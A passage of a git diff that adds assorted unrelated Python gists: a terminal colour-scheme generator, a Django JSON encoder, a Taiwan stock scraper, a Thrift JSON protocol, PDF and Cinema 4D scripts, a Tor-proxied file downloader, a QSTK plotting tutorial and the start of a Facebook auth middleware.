+! URL select
+URxvt.keysym.M-u: perl:url-select:select_next
+URxvt.url-select.autocopy: true
+URvxt.url-select.button: 1
+URvxt.url-select.launcher: mimeo
+URxvt.url-select.underline: true
+
+! Clipboard
+URxvt.keysym.M-c:   perl:clipboard:copy
+URxvt.keysym.M-v:   perl:clipboard:paste
+URxvt.keysym.M-C-v: perl:clipboard:paste_escaped
+
+
+URxvt.foreground: #ffffff
+URxvt.scrollBar: false
+URxvt.depth: 32
+URxvt.background: [85]#0E0E0E
+
+! Colorz
+
+"""
+
+def normalize(hexv, minv=128, maxv=256):
+    hexv = hexv[1:]
+    r, g, b = (
+        int(hexv[0:2], 16) / 256.0,
+        int(hexv[2:4], 16) / 256.0,
+        int(hexv[4:6], 16) / 256.0,
+    )
+    h, s, v = colorsys.rgb_to_hsv(r, g, b)
+    minv = minv / 256.0
+    maxv = maxv / 256.0
+    if v < minv:
+        v = minv
+    if v > maxv:
+        v = maxv
+    r, g, b = colorsys.hsv_to_rgb(h, s, v)
+    return '#{:02x}{:02x}{:02x}'.format(int(r * 256), int(g * 256), int(b * 256))
+
+if __name__ == '__main__':
+    if len(sys.argv) == 1:
+        n = 16
+    else:
+        n = int(sys.argv[1])
+
+
+    i = 0
+    with open('colorz.html', 'w') as f:
+        f.write("""<img src="file://{}" height=200/>""".format(WALLPAPER))
+        for c in colorz(WALLPAPER, n=n):
+            # if i == 8:
+            #     i += 1
+            if i == 0:
+                c = normalize(c, minv=0, maxv=32)
+            elif i == 8:
+                c = normalize(c, minv=128, maxv=192)
+            elif i < 8:
+                c = normalize(c, minv=160, maxv=224)
+            else:
+                c = normalize(c, minv=200, maxv=256)
+            f.write("""
+                <div style="background-color: {0}; width: 100%; height: 50px">{1}: {0}</div>
+                """.format(c, i)
+            )
+            xres += """urxvt*color{}: {}\n""".format(i, c)
+            cols += """export COLOR{}="{}"\n""".format(i, c)
+            i += 1
+
+    with open(XRESOURCES, 'w') as f:
+        f.write(xres)
+    with open(COLORS, 'w') as f:
+        f.write(cols)
diff --git a/hard-gists/3947385/._snippet.py b/hard-gists/3947385/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3947385/._snippet.py differ
diff --git a/hard-gists/3947385/snippet.py b/hard-gists/3947385/snippet.py
new file mode 100644
index 00000000..33ae466b
--- /dev/null
+++ b/hard-gists/3947385/snippet.py
@@ -0,0 +1,46 @@
+from decimal import Decimal
+try:
+    import simplejson as json
+except ImportError:
+    import json
+
+from django.utils.functional import Promise
+
+
+class CustomJSONEncoder(json.JSONEncoder):
+    """Custom JSON encoder that handles more data types than the default encoder.
+
+    It adds support for:
+      * date/datetime/time instances.
+      * Decimal numbers.
+      * Iterators.
+      * Django translatable strings.
+
+    Usage:
+        >>> import datetime
+        >>> data = {
+        ...    'date': datetime.date(2001, 12, 10),
+        ...    'decimal': Decimal('42.0'),
+        ...    'iterator': xrange(10),
+        ... }
+        >>> json.dumps(data, cls=CustomJSONEncoder)
+        '{"date": "2001-12-10", "decimal": "42.0", "iterator": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]}'
+
+    If Django compatibility is not wanted remove the lines about Promise.
+
+    """
+
+    def default(self, obj):
+        if hasattr(obj, 'isoformat'):
+            return obj.isoformat()
+        elif isinstance(obj, Decimal):
+            return unicode(obj)
+        elif isinstance(obj, Promise):
+            return force_unicode(obj)
+        try:
+            iterable = iter(obj)
+        except TypeError:
+            pass
+        else:
+            return list(iterable)
+        return super(CustomJSONEncoder, self).default(obj)
\ No newline at end of file
diff --git a/hard-gists/3947bdc0f7b0dbcd51fa1ee53974fe66/._snippet.py b/hard-gists/3947bdc0f7b0dbcd51fa1ee53974fe66/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3947bdc0f7b0dbcd51fa1ee53974fe66/._snippet.py differ
diff --git a/hard-gists/3947bdc0f7b0dbcd51fa1ee53974fe66/snippet.py b/hard-gists/3947bdc0f7b0dbcd51fa1ee53974fe66/snippet.py
new file mode 100644
index 00000000..3783e280
--- /dev/null
+++ b/hard-gists/3947bdc0f7b0dbcd51fa1ee53974fe66/snippet.py
@@ -0,0 +1,108 @@
+# coding=utf-8
+import StringIO
+import csv
+import requests
+from bs4 import BeautifulSoup
+import time
+import random
+from Models import *
+
+
+def fetch_stock_ids():
+    try:
+        response = requests.get(
+            url="http://isin.twse.com.tw/isin/C_public.jsp",
+            params={
+                "strMode": "2",
+            },
+        )
+        soup = BeautifulSoup(response.content, 'lxml')
+        trs = soup.find_all('tr')[2::]
+        ids = []
+        for tr in trs:
+            if len(tr.findChildren(['td'])) > 1:
+                first_td_contents = tr.find('td').contents[0]
+                the_id = first_td_contents[:4]
+                ids.append(the_id)
+            else:
+                print('Fetched ' + str(len(ids)) + ' stock ids')
+                return ids
+
+    except requests.exceptions.RequestException:
+        print('HTTP Request failed')
+
+
+def create_database():
+    DB.connect()
+    if not DailyTradeResult.table_exists():
+        DB.create_table(DailyTradeResult)
+    DB.close()
+
+
+def date_from_string(string):
+    array = string.split('/')
+    return datetime.date(int(array[0]) + 1911, int(array[1]), int(array[2]))
+
+
+def fetch_stock_track_results_in_month(year, month, stock_number):
+    try:
+        response = requests.post(
+            url="http://www.twse.com.tw/ch/trading/exchange/STOCK_DAY/STOCK_DAYMAIN.php",
+            headers={
+                "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
+            },
+            data={
+                "query_year": year,
+                "CO_ID": stock_number,
+                "query_month": month,
+                "download": "csv",
+            },
+        )
+        csv_string = StringIO.StringIO(response.content)
+        reader = csv.reader(csv_string)
+        rows = list(reader)[2::]
+        if len(rows) == 1 and len(rows[0]) < 3:
+            return
+        return rows
+
+    except requests.exceptions.RequestException:
+        log_file = open('fetch_stock_failed.log', 'a')
+        log_file.write('{}, {}, {}'.format(year, month, stock_number))
+        log_file.close()
+
+
+def save_records(record_in_month, stock_id_string):
+    for record in record_in_month:
+        if len(record) < 2:
+            pass
+        the_date = date_from_string(record[0])
+        record = DailyTradeResult(stock_id=str(stock_id_string), date=the_date,
+                                  unit_count=int(record[1].replace(',', '')),
+                                  total_money=int(record[2].replace(',', '')),
+                                  o_price=float(record[3].replace(',', '')),
+                                  h_price=float(record[4].replace(',', '')),
+                                  l_price=float(record[5].replace(',', '')),
+                                  c_price=float(record[6].replace(',', '')),
+                                  diff=str(record[7]), trade_count=int(record[8].replace(',', '')), )
+        record.save()
+
+
+def fetch_stock_price(stock_id_string):
+    for year in range(DateHandler.THIS_YEAR, DateHandler.FIRST_YEAR - 1, -1):
+        for month in range(12, 0, -1):
+            local_stock = DailyTradeResult.select().where(
+                DailyTradeResult.stock_id == str(stock_id_string)).order_by(DailyTradeResult.date)
+            this_month = [x for x in local_stock if (x.date.year == year and x.date.month == month)]
+            if len(this_month) == 0:
+                print 'stock id: ' + stock_id_string + ', year month: ' + str(year) + ' ' + str(month)
+                records_in_month = fetch_stock_track_results_in_month(year, month, str(stock_id_string))
+                if records_in_month is not None:
+                    save_records(records_in_month, stock_id_string)
+
+
+if __name__ == '__main__':
+    create_database()
+    stock_ids = fetch_stock_ids()
+    for stock_id in stock_ids:
+      fetch_stock_price(stock_id)
+            
diff --git a/hard-gists/3948701/._snippet.py b/hard-gists/3948701/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3948701/._snippet.py differ
diff --git a/hard-gists/3948701/snippet.py b/hard-gists/3948701/snippet.py
new file mode 100644
index 00000000..ad1e55cd
--- /dev/null
+++ b/hard-gists/3948701/snippet.py
@@ -0,0 +1,453 @@
+#
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+#   http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+#
+
+from TProtocol import *
+import json, base64, sys
+
+__all__ = ['TJSONProtocol', 'TJSONProtocolFactory']
+
+VERSION = 1
+
+COMMA = ','
+COLON = ':'
+LBRACE = '{'
+RBRACE = '}'
+LBRACKET = '['
+RBRACKET = ']'
+QUOTE = '"'
+BACKSLASH = '\\'
+ZERO = '0'
+
+ESCSEQ = '\\u00'
+ESCAPE_CHAR = '"\\bfnrt'
+ESCAPE_CHAR_VALS = ['"', '\\', '\b', '\f', '\n', '\r', '\t']
+HEXA_CHAR = '0123456789abcdef'
+NUMERIC_CHAR = '+-.0123456789Ee'
+
+CTYPES = {TType.BOOL:       'tf',
+          TType.BYTE:       'i8',
+          TType.I16:        'i16',
+          TType.I32:        'i32',
+          TType.I64:        'i64',
+          TType.DOUBLE:     'dbl',
+          TType.STRING:     'str',
+          TType.STRUCT:     'rect',
+          TType.LIST:       'lst',
+          TType.SET:        'set',
+          TType.MAP:        'map'}
+
+JTYPES = {}
+for key in CTYPES.keys():
+  JTYPES[CTYPES[key]] = key
+
+
+
+class JSONBaseContext():
+
+  def __init__(self, protocol):
+    self.protocol = protocol
+    self.first = True
+
+  def doIO(self, function):
+    pass
+  
+  def write(self):
+    pass
+
+  def read(self):
+    pass
+
+  def escapeNum(self):
+    return False
+
+
+class JSONListContext(JSONBaseContext):
+    
+  def doIO(self, function):
+    if self.first is True:
+      self.first = False
+    else:
+      function(COMMA)
+
+  def write(self):
+    self.doIO(self.protocol.trans.write)
+
+  def read(self):
+    self.doIO(self.protocol.readJSONSyntaxChar)
+
+
+class JSONPairContext(JSONBaseContext):
+  colon = True
+
+  def doIO(self, function):
+    if self.first is True:
+      self.first = False
+      self.colon = True
+    else:
+      function(COLON if self.colon == True else COMMA)
+      self.colon = not self.colon
+
+  def write(self):
+    self.doIO(self.protocol.trans.write)
+
+  def read(self):
+    self.doIO(self.protocol.readJSONSyntaxChar)
+
+  def escapeNum(self):
+    return self.colon
+
+
+class LookaheadReader():
+  hasData = False
+  data = ''
+
+  def __init__(self, protocol):
+    self.protocol = protocol
+
+  def read(self):
+    if self.hasData is True:
+      self.hasData = False
+    else:
+      self.data = self.protocol.trans.read(1)
+    return self.data
+
+  def peek(self):
+    if self.hasData is False:
+      self.data = self.protocol.trans.read(1)
+    self.hasData = True
+    return self.data
+
+class TJSONProtocolBase(TProtocolBase):
+
+  def __init__(self, trans):
+    TProtocolBase.__init__(self, trans)
+
+  def resetWriteContext(self):
+    self.contextStack = []
+    self.context = JSONBaseContext(self)        
+
+  def resetReadContext(self):
+    self.resetWriteContext()
+    self.reader = LookaheadReader(self)
+
+  def pushContext(self, ctx):
+    self.contextStack.append(ctx)
+    self.context = ctx
+
+  def popContext(self):
+    self.contextStack.pop()
+
+  def writeJSONString(self, string):
+    self.context.write()
+    self.trans.write(json.dumps(string))
+
+  def writeJSONNumber(self, number):
+    self.context.write()
+    jsNumber = str(number)
+    if self.context.escapeNum():
+      jsNumber = "%s%s%s" % (QUOTE, jsNumber,  QUOTE)
+    self.trans.write(jsNumber)
+
+  def writeJSONBase64(self, binary):
+    self.context.write()
+    self.trans.write(QUOTE)
+    self.trans.write(base64.b64encode(binary))
+    self.trans.write(QUOTE)
+
+  def writeJSONObjectStart(self):
+    self.context.write()
+    self.trans.write(LBRACE)
+    self.pushContext(JSONPairContext(self))
+
+  def writeJSONObjectEnd(self):
+    self.popContext()
+    self.trans.write(RBRACE)
+
+  def writeJSONArrayStart(self):
+    self.context.write()
+    self.trans.write(LBRACKET)
+    self.pushContext(JSONListContext(self))
+
+  def writeJSONArrayEnd(self):
+    self.popContext()
+    self.trans.write(RBRACKET)
+
+  def readJSONSyntaxChar(self, character):
+    current = self.reader.read()
+    if character != current:
+      raise TProtocolException(TProtocolException.INVALID_DATA,
+                               "Unexpected character: %s" % current)
+
+  def readJSONString(self, skipContext):
+    string = []
+    if skipContext is False:
+      self.context.read()
+    self.readJSONSyntaxChar(QUOTE)
+    while True:
+      character = self.reader.read()
+      if character == QUOTE:
+        break
+      if character == ESCSEQ[0]:
+        character = self.reader.read()
+        if character == ESCSEQ[1]:
+          self.readJSONSyntaxChar(ZERO)
+          self.readJSONSyntaxChar(ZERO)
+          character = json.JSONDecoder().decode('"\u00%s"' % self.trans.read(2))
+        else:
+          off = ESCAPE_CHAR.find(char)
+          if off == -1:
+            raise TProtocolException(TProtocolException.INVALID_DATA,
+                                     "Expected control char")
+          character = ESCAPE_CHAR_VALS[off]
+      string.append(character)
+    return ''.join(string)
+
+  def isJSONNumeric(self, character):
+    return (True if NUMERIC_CHAR.find(character) != - 1 else False)
+
+  def readJSONQuotes(self):
+    if (self.context.escapeNum()):
+      self.readJSONSyntaxChar(QUOTE)
+
+  def readJSONNumericChars(self):
+    numeric = []
+    while True:
+      character = self.reader.peek()
+      if self.isJSONNumeric(character) is False:
+        break
+      numeric.append(self.reader.read())
+    return ''.join(numeric)
+
+  def readJSONInteger(self):
+    self.context.read()
+    self.readJSONQuotes()
+    numeric = self.readJSONNumericChars()
+    self.readJSONQuotes()
+    try:
+      return int(numeric)
+    except ValueError:
+      raise TProtocolException(TProtocolException.INVALID_DATA,
+                               "Bad data encounted in numeric data")
+
+  def readJSONDouble(self):
+    self.context.read()
+    if self.reader.peek() == QUOTE:
+      string  = self.readJSONString(True)
+      try:
+        double = float(string)
+        if self.context.escapeNum is False and double != inf and double != nan:
+          raise TProtocolException(TProtocolException.INVALID_DATA,
+                                   "Numeric data unexpectedly quoted")
+        return double
+      except ValueError:
+        raise TProtocolException(TProtocolException.INVALID_DATA,
+                                 "Bad data encounted in numeric data")
+    else:
+      if self.context.escapeNum() is True:
+        self.readJSONSyntaxChar(QUOTE)
+      try:
+        return float(self.readJSONNumericChars())
+      except ValueErro:
+        raise TProtocolException(TProtocolException.INVALID_DATA,
+                                 "Bad data encounted in numeric data")
+
+  def readJSONBase64(self):
+    string = self.readJSONString(False)
+    return base64.b64decode(string)
+
+  def readJSONObjectStart(self):
+    self.context.read()
+    self.readJSONSyntaxChar(LBRACE)
+    self.pushContext(JSONPairContext(self))
+
+  def readJSONObjectEnd(self):
+    self.readJSONSyntaxChar(RBRACE)
+    self.popContext()
+
+  def readJSONArrayStart(self):
+    self.context.read()
+    self.readJSONSyntaxChar(LBRACKET)
+    self.pushContext(JSONListContext(self))
+
+  def readJSONArrayEnd(self):
+    self.readJSONSyntaxChar(RBRACKET)
+    self.popContext()
+
+
+class TJSONProtocol(TJSONProtocolBase):
+
+  def readMessageBegin(self):
+    self.resetReadContext()
+    self.readJSONArrayStart()
+    if self.readJSONInteger() != VERSION:
+      raise TProtocolException(TProtocolException.BAD_VERSION,
+                               "Message contained bad version.")
+    name = self.readJSONString(False)
+    typen = self.readJSONInteger()
+    seqid = self.readJSONInteger()
+    return (name, typen, seqid)
+
+  def readMessageEnd(self):
+    self.readJSONArrayEnd()
+
+  def readStructBegin(self):
+    self.readJSONObjectStart()
+
+  def readStructEnd(self):
+    self.readJSONObjectEnd()
+
+  def readFieldBegin(self):
+    character = self.reader.peek()
+    type = 0
+    id = 0
+    if character == RBRACE:
+      type = TType.STOP
+    else:
+      id = self.readJSONInteger()
+      self.readJSONObjectStart()
+      type = JTYPES[self.readJSONString(False)]
+    return (None, type, id)
+
+  def readFieldEnd(self):
+    self.readJSONObjectEnd()
+
+  def readMapBegin(self):
+    self.readJSONArrayStart()
+    keyType = JTYPES[self.readJSONString(False)]
+    valueType = JTYPES[self.readJSONString(False)]
+    size = self.readJSONInteger()
+    self.readJSONObjectStart()
+    return (keyType, valueType, size)
+
+  def readMapEnd(self):
+    self.readJSONObjectEnd()
+    self.readJSONArrayEnd()
+
+  def readCollectionBegin(self):
+    self.readJSONArrayStart()
+    elemType = JTYPES[self.readJSONString(False)]
+    size = self.readJSONInteger()
+    return (type, size)
+  readListBegin = readCollectionBegin
+  readSetBegin = readCollectionBegin
+
+  def readCollectionEnd(self):
+    self.readJSONArrayEnd()
+  readSetEnd = readCollectionEnd
+  readListEnd = readCollectionEnd
+
+  def readBool(self):
+    return (False if self.readJSONInteger() == 0 else True)
+
+  def readNumber(self):
+    return self.readJSONInteger()
+  readByte = readNumber
+  readI16 = readNumber
+  readI32 = readNumber
+  readI64 = readNumber
+
+  def readDouble(self):
+    return self.readJSONDouble()
+
+  def readString(self):
+    return self.readJSONString(False)
+
+  def readBinary(self):
+    return self.readJSONBase64()
+
+  def writeMessageBegin(self, name, request_type, seqid):
+    self.resetWriteContext()
+    self.writeJSONArrayStart()
+    self.writeJSONNumber(VERSION)
+    self.writeJSONString(name)
+    self.writeJSONNumber(request_type)
+    self.writeJSONNumber(seqid)
+
+  def writeMessageEnd(self):
+    self.writeJSONArrayEnd()
+
+  def writeStructBegin(self, name):
+    self.writeJSONObjectStart()
+
+  def writeStructEnd(self):
+    self.writeJSONObjectEnd()
+
+  def writeFieldBegin(self, name, type, id):
+    self.writeJSONNumber(id)
+    self.writeJSONObjectStart()
+    self.writeJSONString(CTYPES[type])
+
+  def writeFieldEnd(self):
+    self.writeJSONObjectEnd()
+
+  def writeFieldStop(self):
+    pass
+
+  def writeMapBegin(self, ktype, vtype, size):
+    self.writeJSONArrayStart()
+    self.writeJSONString(CTYPES[ktype])
+    self.writeJSONString(CTYPES[vtype])
+    self.writeJSONNumber(size)
+    self.writeJSONObjectStart()
+
+  def writeMapEnd(self):
+    self.writeJSONObjectEnd()
+    self.writeJSONArrayEnd()
+    
+  def writeListBegin(self, etype, size):
+    self.writeJSONArrayStart()
+    self.writeJSONString(CTYPES[etype])
+    self.writeJSONNumber(size)
+    
+  def writeListEnd(self):
+    self.writeJSONArrayEnd()
+
+  def writeSetBegin(self, etype, size):
+    self.writeJSONArrayStart()
+    self.writeJSONString(CTYPES[etype])
+    self.writeJSONNumber(size)
+    
+  def writeSetEnd(self):
+    self.writeJSONArrayEnd()
+
+  def writeBool(self, boolean):
+    self.writeJSONNumber(1 if boolean is True else 0)
+
+  def writeInteger(self, integer):
+    self.writeJSONNumber(integer)
+  writeByte = writeInteger
+  writeI16 = writeInteger
+  writeI32 = writeInteger
+  writeI64 = writeInteger
+
+  def writeDouble(self, dbl):
+    self.writeJSONNumber(dbl)
+
+  def writeString(self, string):
+    self.writeJSONString(string)
+    
+  def writeBinary(self, binary):
+    self.writeJSONBase64(binary)
+
+class TJSONProtocolFactory:
+  def __init__(self):
+    pass
+
+  def getProtocol(self, trans):
+    return TJSONProtocol(trans)
diff --git a/hard-gists/3963225/._snippet.py b/hard-gists/3963225/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3963225/._snippet.py differ
diff --git a/hard-gists/3963225/snippet.py b/hard-gists/3963225/snippet.py
new file mode 100644
index 00000000..9600c58f
--- /dev/null
+++ b/hard-gists/3963225/snippet.py
@@ -0,0 +1,37 @@
+#! /usr/bin/python
+#
+import sys
+import os
+import tempfile
+from Quartz.CoreGraphics import *
+from os.path import splitext
+from os.path import basename
+from os.path import join
+
+
+def createPDFDocumentWithPath(path):
+	return CGPDFDocumentCreateWithURL(CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, path, len(path), False))
+
+def main(argv):
+
+	for input_pdf_filename in argv:
+		doc = createPDFDocumentWithPath(input_pdf_filename)
+		page_one = CGPDFDocumentGetPage(doc, 1)
+		mediaBox = CGPDFPageGetBoxRect(page_one, kCGPDFMediaBox)
+		if CGRectIsEmpty(mediaBox):
+			mediaBox = None
+
+		file_name, extension = splitext(basename(input_pdf_filename))
+		output_path = join(tempfile.gettempdir(), file_name + "_page1" + extension)
+		writeContext = CGPDFContextCreateWithURL(CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, output_path, len(output_path), False), None, None)
+		CGContextBeginPage(writeContext, mediaBox)
+		CGContextDrawPDFPage(writeContext, page_one)
+		CGContextEndPage(writeContext)
+		CGPDFContextClose(writeContext)
+		del writeContext
+
+		print output_path
+
+
+if __name__ == "__main__":
+	main(sys.argv[1:])
\ No newline at end of file
diff --git a/hard-gists/39656378b59fe2eeb0f4/._snippet.py b/hard-gists/39656378b59fe2eeb0f4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/39656378b59fe2eeb0f4/._snippet.py differ
diff --git a/hard-gists/39656378b59fe2eeb0f4/snippet.py b/hard-gists/39656378b59fe2eeb0f4/snippet.py
new file mode 100644
index 00000000..8ee5dbc6
--- /dev/null
+++ b/hard-gists/39656378b59fe2eeb0f4/snippet.py
@@ -0,0 +1,36 @@
+# NOTE: this script stops when esc key pressed not to freeze c4d because of some heavy codes.
+
+import c4d
+from c4d import gui
+
+def frame( f ):
+    # exec some processing..
+    pass
+
+def escPressed():
+    bc = c4d.BaseContainer()
+    rs = gui.GetInputState( c4d.BFM_INPUT_KEYBOARD, c4d.KEY_ESC, bc )
+    if rs and bc[ c4d.BFM_INPUT_VALUE ]:
+        return True
+    return False
+
+def main():
+    doc = c4d.documents.GetActiveDocument()
+    fps = doc[ c4d.DOCUMENT_FPS ]
+    minTime = doc[ c4d.DOCUMENT_MINTIME ].GetFrame( fps )
+    maxTime = doc[ c4d.DOCUMENT_MAXTIME ].GetFrame( fps )
+
+    f = 0
+    for f in range( minTime, maxTime ):
+        doc.SetTime( c4d.BaseTime( f, fps ) )
+        c4d.DrawViews( c4d.DA_ONLY_ACTIVE_VIEW|c4d.DA_NO_THREAD|c4d.DA_NO_REDUCTION|c4d.DA_STATICBREAK )
+        c4d.GeSyncMessage( c4d.EVMSG_TIMECHANGED )
+        c4d.EventAdd( c4d.EVENT_ANIMATE )
+        frame( f )
+        if escPressed():
+            break
+    
+    gui.MessageDialog( "%i - %i frames processed." % (minTime, f) )
+    
+if __name__=='__main__':
+    main()
diff --git a/hard-gists/396e85fe4facca626782/._snippet.py b/hard-gists/396e85fe4facca626782/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/396e85fe4facca626782/._snippet.py differ
diff --git a/hard-gists/396e85fe4facca626782/snippet.py b/hard-gists/396e85fe4facca626782/snippet.py
new file mode 100644
index 00000000..543e239c
--- /dev/null
+++ b/hard-gists/396e85fe4facca626782/snippet.py
@@ -0,0 +1,120 @@
+#!/usr/bin/python
+# Copyright (C) 2010 Michael Ligh
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+# [NOTES] -----------------------------------------------------------
+# 1) Tested on Linux (Ubuntu), Windows XP/7, and Mac OS X
+# 2) If the script hangs, make sure you have TOR running on the 
+#        specified TOR_PORT
+#--------------------------------------------------------------------
+
+from optparse import OptionParser
+import socket
+import httplib
+import urlparse
+import socks
+import random
+import time
+import os
+
+user_agents = [
+'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )',
+'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18',
+'Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00',
+'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12',
+'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)',
+'Opera/9.51 (Macintosh; Intel Mac OS X; U; en)',
+'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1; MultiZilla v1.1.32 final) Gecko/20021130',
+]
+
+TOR_SERVER = "127.0.0.1"
+TOR_PORT = 9050
+
+headers = {
+'Accept' : '*/*',
+}
+
+def main():
+    parser = OptionParser()
+    parser.add_option("-r", "--referrer", action="store", dest="referrer",
+                      type="string", help="use this Referrer")
+    parser.add_option("-u", "--useragent", action="store", dest="useragent", 
+                      type="string", help="use this User Agent")
+    parser.add_option("-c", "--connect", action="store", dest="site", 
+                      type="string", help="Connection string (i.e. www.sol.org/a.txt)")                      
+    parser.add_option("-z", "--randomize", action="store_true",
+                      dest="random", default=False,
+                      help="Choose a random User Agent")
+    
+    (opts, args) = parser.parse_args()
+    
+    if opts.site == None:
+        parser.print_help()
+        parser.error("You must supply a connection string!")
+        
+    if opts.referrer != None:
+        headers['Referrer'] = opts.referrer
+        
+    if opts.useragent != None:
+        headers['User-Agent'] = opts.useragent
+    elif opts.random:
+        random.seed(time.time())
+        headers['User-Agent'] = random.choice(user_agents)
+    else:
+        headers['User-Agent'] = user_agents[0]
+
+    # Override the socket object with a Tor+Socks socket 
+    
+    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, TOR_SERVER, TOR_PORT)
+    socket.socket = socks.socksocket
+    
+    # Isolate the host name from the connection string
+    
+    if not opts.site.lower().startswith('http://'):
+        opts.site = 'http://' + opts.site
+        
+    url = urlparse.urlsplit(opts.site)
+        
+    print "Hostname: %s" % (url.hostname)
+    print "Path: %s" % (url.path)
+    print "Headers: %s" % (headers)
+    
+    try:
+        conn = httplib.HTTPConnection(url.hostname)
+        conn.request('GET', url.path, None, headers)
+        data = conn.getresponse().read()
+    except:
+        print "Cannot connect...network issue?"
+        return
+    
+    if len(data) == 0:
+        print "Got 0 bytes...try again later."
+        return
+    
+    outfile = url.hostname + os.sep + os.path.basename(opts.site)
+    
+    print "Saving %d bytes to %s" % (len(data), outfile)
+    
+    if not os.path.isdir(url.hostname):
+        os.mkdir(url.hostname)
+       
+    FILE = open(outfile, "wb")
+    FILE.write(data)
+    FILE.close()
+    
+    print "Done!"
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/3971007/._snippet.py b/hard-gists/3971007/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3971007/._snippet.py differ
diff --git a/hard-gists/3971007/snippet.py b/hard-gists/3971007/snippet.py
new file mode 100644
index 00000000..f01dd4ac
--- /dev/null
+++ b/hard-gists/3971007/snippet.py
@@ -0,0 +1,95 @@
+'''
+(c) 2011, 2012 Georgia Tech Research Corporation
+This source code is released under the New BSD license.  Please see
+http://wiki.quantsoftware.org/index.php?title=QSTK_License
+for license details.
+
+Created on September, 12, 2011
+
+@author: Tucker Balch
+@contact: tucker@cc.gatech.edu
+@summary: Example tutorial code.
+'''
+
+import qstkutil.qsdateutil as du
+import qstkutil.tsutil as tsu
+import qstkutil.DataAccess as da
+import datetime as dt
+import matplotlib.pyplot as plt
+from pylab import *
+import pandas
+
+print pandas.__version__
+
+#
+# Prepare to read the data
+#
+symbols = ["AAPL","GLD","GOOG","$SPX","XOM"]
+startday = dt.datetime(2006,1,1)
+endday = dt.datetime(2010,12,31)
+timeofday=dt.timedelta(hours=16)
+timestamps = du.getNYSEdays(startday,endday,timeofday)
+
+dataobj = da.DataAccess('Yahoo')
+voldata = dataobj.get_data(timestamps, symbols, "volume",verbose=True)
+close = dataobj.get_data(timestamps, symbols, "close",verbose=True)
+actualclose = dataobj.get_data(timestamps, symbols, "actual_close",verbose=True)
+
+#
+# Plot the adjusted close data
+#
+plt.clf()
+newtimestamps = close.index
+pricedat = close.values # pull the 2D ndarray out of the pandas object
+plt.plot(newtimestamps,pricedat)
+plt.legend(symbols)
+plt.ylabel('Adjusted Close')
+plt.xlabel('Date')
+savefig('adjustedclose.pdf',format='pdf')
+
+#
+# Plot the normalized closing data
+#
+plt.clf()
+normdat = pricedat/pricedat[0,:]
+plt.plot(newtimestamps,normdat)
+plt.legend(symbols)
+plt.ylabel('Normalized Close')
+plt.xlabel('Date')
+savefig('normalized.pdf',format='pdf')
+
+#
+# Plot daily returns
+#
+plt.clf()
+plt.cla()
+tsu.returnize0(normdat)
+plt.plot(newtimestamps[0:50],normdat[0:50,3]) # $SPX 50 days
+plt.plot(newtimestamps[0:50],normdat[0:50,4]) # XOM 50 days
+plt.axhline(y=0,color='r')
+plt.legend(['$SPX','XOM'])
+plt.ylabel('Daily Returns')
+plt.xlabel('Date')
+savefig('rets.pdf',format='pdf')
+
+#
+# Scatter plot
+#
+plt.clf()
+plt.cla()
+plt.scatter(normdat[:,3],normdat[:,4],c='blue') # $SPX v XOM
+plt.ylabel('XOM')
+plt.xlabel('$SPX')
+savefig('scatterSPXvXOM.pdf',format='pdf')
+
+#
+# Scatter plot
+#
+plt.clf()
+plt.cla()
+plt.scatter(normdat[:,3],normdat[:,1],c='blue') # $SPX v GLD
+plt.ylabel('GLD')
+plt.xlabel('$SPX')
+savefig('scatterSPXvGLD.pdf',format='pdf')
+
+print actualclose
diff --git a/hard-gists/3972601/._snippet.py b/hard-gists/3972601/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3972601/._snippet.py differ
diff --git a/hard-gists/3972601/snippet.py b/hard-gists/3972601/snippet.py
new file mode 100644
index 00000000..d847658a
--- /dev/null
+++ b/hard-gists/3972601/snippet.py
@@ -0,0 +1,122 @@
+import logging
+import facepy as facebook
+from django.conf import settings
+from django.contrib.auth.signals import user_logged_in
+from django.db import models
+from django.contrib.auth import logout
+from django.contrib.auth.models import User
+
+class FBAuthMiddleware(object):
+    def __init__(self):
